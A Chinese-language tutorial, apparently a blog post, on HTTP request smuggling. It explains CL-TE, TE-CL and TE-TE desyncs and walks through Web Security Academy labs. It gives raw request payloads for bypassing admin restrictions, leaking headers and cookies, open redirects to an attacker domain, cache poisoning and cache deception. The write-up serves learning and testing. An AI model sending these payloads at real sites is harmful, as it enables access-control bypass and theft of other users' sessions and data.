http请求走私
Conent-Length
Conent-Length表示实体内容长度，当客户端向服务器请求一个静态页面或者一张图片时，服务器可以很清楚的知道内容大小，然后通过Content-length消息首部字段告诉客户端 需要接收多少数据。
Transfer-Encoding
分块编码，数据分解成一系列数据块，并以一个或多个块发送，这样服务器可以发送数据而不需要预先知道发送内容的总大小。
分块编码（Transfer-Encoding: chunked）
-
在头部加入 Transfer-Encoding: chunked 之后，就代表这个报文采用了分块编码。这时，报文中的实体需要改为用一系列分块来传输。
-
每个分块包含十六进制的长度值和数据，长度值独占一行，长度不包括它结尾的 CRLF(\r\n)，也不包括分块数据结尾的 CRLF(\r\n)。
-
最后一个分块长度值必须为 0，对应的分块数据没有内容，表示实体结束。
-
例：
highlighter- HTTP
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
25\r\n
This is the data in the first chunk\r\n
1C\r\n
and this is the second one\r\n
3\r\n
con\r\n
0\r\n
\r\n
几种走私类型
CL-TE
前端服务器使用Content-Length头，而后端服务器使用Transfer-Encoding头。
发送两次请求，当第二次请求时出现HTTP方式错误，则存在走私问题。
原因就是第一次前端服务器解析时，使用Content-Length头判断结束，所以传给后端服务器的数据为
0\r\n
\r\n
G
总共加起来为6，而后端服务器以 Transfer-Encoding: chunked 判断结束，当遇到
0\r\n
\r\n
在分块传输中，则代表结束，而后面的 G ，服务器判断未完成的请求，将遗留在缓存中，所以当第二次请求时，接在了 G 的后面，如下：
GPOST / HTTP/1.1
Host: acc71fe81ee21769802d39f600790089.web-security-academy.net
Connection: close
...
这就完成了一次成功的请求走私 在实际情况中是不会出现HTTP请求方式错误的，可以通过时间延迟来判断是否存在CL-TE类型的走私问题：
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
如果存在走私问题，下一个请求就会有明显的延迟。
或者使用下面的payload进行验证，如果存在走私问题，则会返回错误的页面：
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
-
注意 由于前端服务器处理Content-Length，需要把我们所有的内容都发送到后端服务器中去，那这个Content-Length可以用Brupsuite自动计算。
TE-CL
前端服务器使用Transfer-Encoding头，而后端服务器使用Content-Length头。
简单判断payload
POST / HTTP/1.1
Host: ac361f181f029323806b3eea0007002e.web-security-academy.net
Content-Length: 3
Transfer-Encoding: chunked
1
G
0
时间延迟payload
POST / HTTP/1.1
Host: ac361f181f029323806b3eea0007002e.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 6
0
X
响应差异payload
POST / HTTP/1.1
Host: ac361f181f029323806b3eea0007002e.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
34
GET /404 HTTP/1.1
Content-Length: 17
a=BADHGSGSG
0
-
注意 需要注意的是走私的请求中，Content-Length一定要少于后面请求中的长度，否则后台会Timeout出现错误。
TE-TE
前端服务器和后端服务器都支持Transfer-Encoding标头，但是可以通过以某种方式混淆标头来诱导其中一台服务器不对其进行处理。
混淆的方式：
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
简单判断payload
POST / HTTP/1.1
Host: ac261f3a1eb0e24580730eed00d70071.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
利用HTTP请求走私漏洞
Bypass前端服务器安全验证
场景：前端服务器对某些页面添加了访问限制，比如实验中对admin页面控制在只能是后端服务器才能访问，此时可以通过HTTP走私漏洞来绕过这个限制。
-
CL-TE
发送两次请求，响应消息反馈不允许重复header
于是，加个传输字符数限制，将走私后面的请求去掉，即可访问/admin界面了
完成删除用户
-
TE-CL
获取前端服务器对请求的重写情况
场景：前端服务器通常在请求添加到其他请求头之前，先对请求进行一些重写，然后再转发给后端服务器。一般是添加一些HTTP HEADER。可以通过HTTP走私请求来获取到这些重写内容。
但走私的前提需具备一些条件：
-
存在一个POST请求，传入参数会储存并可以被查看
-
存在HTTP走私请求
构造一个chunk，包含一个完整的post请求，把可以储存的参数放在最后。当第二个请求传递时，则会把HTTP HEADER添加在参数后面而被存储。就可以获取到前端服务器所添加的HTTP HEADER。这里需要注意Content-Length不能超过所传递数据包的长度，不然会导致请求失败
尝试走私请求直接访问/admin，却返回响应信息只有管理员登陆或者从127.0.0.1请求才可以访问
页面上有个搜索框，输入任意内容，会在页面上返回出来
于是利用这个搜索参数，将前端服务器重写请求的情况展示出来，发现了 X-trnzSu-Ip 请求头
于是加入走私的请求，再尝试访问/admin发现成功
获取其他用户的cookie
参考上一个实验，这个实验也是通过获取HTTP HEADER来获取其他用户的Cookie。
HTTP header导致的XSS
场景：通常情况下，HTTP HEADER导致的XSS是不好利用的，但是通过HTTP走私请求，我们能够控制HTTP HEADER，进而就可以利用这类HTTP头导致的XSS。
将重定向转变为任意重定向
场景：许多应用程序执行现场重定向，并将主机名从请求的Host标头放入重定向URL。
示例：
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
通常，此行为被认为是无害的，但是可以在走私请求攻击中利用它来将其他用户重定向到外部域。例如：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求将触发重定向到攻击者的网站，这将影响后端服务器处理的下一个用户的请求。例如：
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
缓存投毒
-
构造一个页面中写入恶意的内容，比如写入alert(document.cookie)
-
发送请求走私的内容
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
-
再寻找到一个可用缓存的js页面（可用导致xss的js）访问。页面会跳转到恶意页面中，并且将恶意内容缓存到服务器上。
-
打开主页 ⇒ 导致xss
-
（大概意思就是，一个存在xss的页面，再请求中，在HOST中写入目标服务器地址域名）
缓存欺骗
缓存欺骗：在Web缓存欺骗中，攻击者使应用程序将一些属于另一个用户的敏感内容存储在缓存中，然后攻击者从缓存中检索此内容。
-
寻找一个存在隐私的页面，比如这里的my-account，并且页面返回的内容是可以被缓存的
-
发送一个走私请求，下一个请求静态资源的请求会跳转到my-acount并把隐私信息缓存
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
X-Ignore: X
-
打开隐私浏览器加载主页，用Brupsuite搜索隐私内容的关键字。如果成功的话可以在静态资源中搜索到
原理是走私的请求把下一个请求HTTP方法那一行注释，请求会变为：
GET /private/messages HTTP/1.1标签：HTTP,1.1,Encoding,Length,走私,服务器,请求 From： https://www.cnblogs.com/aidy/p/18359630
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...